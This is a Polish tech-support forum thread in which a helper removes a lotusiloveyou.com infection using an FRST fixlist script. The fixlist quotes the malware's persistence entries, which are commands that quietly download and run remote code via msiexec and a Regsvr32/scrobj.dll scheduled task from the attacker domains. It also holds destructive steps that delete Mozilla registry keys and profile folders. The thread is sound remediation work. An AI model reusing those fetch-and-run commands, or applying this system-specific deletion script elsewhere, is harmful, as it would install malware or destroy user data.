Problem z lotusiloveyou.com

[hammer2000]

Witam!

Avast co jakiś czas pokazuje mi komunikat o zablokowaniu szkodliwego oprogramowania w postaci lotusiloveyou.com. Jednak przy skanowaniu Avastem nie pokazuje mi się żaden wirus. Zrobiłem wymagane logi. Proszę o pomoc.

 

Pozdrawiam!

FRST.txt

Addition.txt

Shortcut.txt

gm.txt

Edytowane 30 Kwietnia 2017 przez Rucek

[Miszel03]

Ta sławna infekcji faktycznie zagościła u Ciebie w systemie. To błahostka, więc nie ma się czym przejmować. Już w pierwszym kroki zostanie usunięta. 

 

1. Otwórz Notatnik w nim wklej: 

 

CloseProcesses:
CreateRestorePoint:
HKU\S-1-5-21-2717061265-649508285-3199829881-1001\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkPDN8MjUcEeqxMWLdw2FxGdY1NWJaMWLlEjH4ZH== /q
IFEO\taskmgr.exe: [Debugger]
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Brak pliku
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Brak pliku
U3 awldyuog; C:\Users\Toshiba\AppData\Local\Temp\awldyuog.sys [56584 2017-04-30] (GMER) [brak podpisu cyfrowego] 
S4 sptd2; System32\Drivers\sptd2.sys [X]
Task: {1C4C77C9-1292-4908-8435-57EA5763DEFD} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkPDN8MjUcEeqxMWLdw2FxGdY1NWJaMWLlEjH4ZH== scrobj.dll
DeleteKey: HKCU\Software\Mozilla
DeleteKey: HKCU\Software\MozillaPlugins
DeleteKey: HKLM\SOFTWARE\Mozilla
DeleteKey: HKLM\SOFTWARE\MozillaPlugins
DeleteKey: HKLM\SOFTWARE\Wow6432Node\Mozilla
DeleteKey: HKLM\SOFTWARE\Wow6432Node\mozilla.org
DeleteKey: HKLM\SOFTWARE\Wow6432Node\MozillaPlugins
C:\Users\Toshiba\AppData\Local\Mozilla
C:\Users\Toshiba\AppData\Roaming\Mozilla
C:\Users\Toshiba\AppData\Roaming\Profiles
EmptyTemp:

 

Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.

 

Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

 

2. Nie rób nowych logów, dostarcz tylko raport wynikowy (plik Fixlog). Napisz czy problem ustąpił.

[hammer2000]

Póki co Avast nie pokazał ani razu nowego komunikatu o lotusilove.com, a fixlog dorzucam w załączniku.

Fixlog.txt

[Miszel03]

Pomyślnie wykonane. Jeśli Avast już będzie spokojny, a infekcja nie będzie dawała o sobie znaków to będziemy kończyć.

 

Zastouj DelFix (kasacja używanych narzędzi) oraz zaktualizuj oprogramowanie zewnętrzne oraz Windows.

[hammer2000]

Użyłem Delfix'a, oprogramowanie aktualne. Dziękuję za pomoc!

[Miszel03]

OK.